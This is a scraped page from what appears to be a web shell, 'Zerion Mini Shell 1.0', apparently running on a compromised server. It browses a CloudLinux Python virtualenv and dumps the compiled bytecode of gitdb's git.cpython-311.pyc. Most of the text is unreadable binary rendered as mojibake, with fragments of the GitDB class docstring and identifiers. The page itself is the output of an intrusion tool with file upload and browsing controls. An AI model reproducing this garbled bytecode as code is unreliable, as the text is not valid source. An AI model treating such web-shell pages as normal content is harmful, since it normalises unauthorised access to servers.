ok

Mini Shell

Direktori : /opt/cloudlinux/venv/lib64/python3.11/site-packages/gitdb/db/__pycache__/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/gitdb/db/__pycache__/git.cpython-311.pyc

�

�܋fp
��v�ddlmZmZmZddlmZddlmZddlm	Z	ddl
mZddlZdZ
Gd�d	eee��ZdS)
�)�
CompoundDB�	ObjectDBW�
FileDBBase)�
LooseObjectDB)�PackedDB)�ReferenceDB)�
InvalidDBRootN)�GitDBc���eZdZdZeZeZeZ	dZ
dZej
�dd��Z�fd�Z�fd�Zd�Zd	�Zd
�Z�xZS)r
aA git-style object database, which contains all objects in the 'objects'
    subdirectory

    ``IMPORTANT``: The usage of this implementation is highly discouraged as it fails to release file-handles.
    This can be a problem with long-running processes and/or big repositories.
    �pack��info�
alternatesc�J��t���|��dS)z/Initialize ourselves on a git objects directoryN)�super�__init__)�self�	root_path�	__class__s  ��]/builddir/build/BUILD/cloudlinux-venv-1.0.6/venv/lib/python3.11/site-packages/gitdb/db/git.pyrzGitDB.__init__(s!���
������#�#�#�#�#�c�^��|dks|dkr�t��|_d}|j|jf|j|jf|j|jffD]r\}}|�|��}tj
�|��r9|j�||����||jur
|jd}�s|js!t|������|�t|d��s
Jd���||_dSt#���|��dS)N�_dbs�	_loose_db����storez(First database needs store functionality)�listr�	packs_dir�	PackDBCls�	loose_dir�
LooseDBCls�alternates_dir�ReferenceDBCls�db_path�os�path�exists�appendr	r�hasattrrr�_set_cache_)r�attr�loose_db�subpath�dbclsr&rs      �rr*zGitDB._set_cache_,s7����6�>�>�T�[�0�0����D�I��H�$(�N�D�N�#C�$(�N�D�O�#D�$(�$7��9L�#M�#O�
1�
1�����|�|�G�,�,���7�>�>�$�'�'�1��I�$�$�U�U�4�[�[�1�1�1����/�/�#'�9�R�=����9�
6�#�D�N�N�$4�$4�5�5�5��'�G�H�g�,F�,F�'�'�Hr�'�'�F�&�D�N�N�N��G�G����%�%�%�%�%rc�6�|j�|��S�N)rr)r�istreams  rrzGitDB.storeLs���~�#�#�G�,�,�,rc�4�|j���Sr0)r�ostream)rs rr3z
GitDB.ostreamOs���~�%�%�'�'�'rc�6�|j�|��Sr0)r�set_ostream)rr3s  rr5zGitDB.set_ostreamRs���~�)�)�'�2�2�2r)�__name__�
__module__�__qualname__�__doc__rrrr!rr#rr r%r&�joinr"rr*rr3r5�
__classcell__)rs@rr
r
s�����������I��J� �N��I��I��W�\�\�&�,�7�7�N�$�$�$�$�$�&�&�&�&�&�@-�-�-�(�(�(�3�3�3�3�3�3�3rr
)�
gitdb.db.baserrr�gitdb.db.looser�
gitdb.db.packr�gitdb.db.refr�	gitdb.excr	r%�__all__r
�rr�<module>rCs���
����������)�(�(�(�(�(�"�"�"�"�"�"�$�$�$�$�$�$�#�#�#�#�#�#�	�	�	�	�
��=3�=3�=3�=3�=3�J�	�:�=3�=3�=3�=3�=3r

Zerion Mini Shell 1.0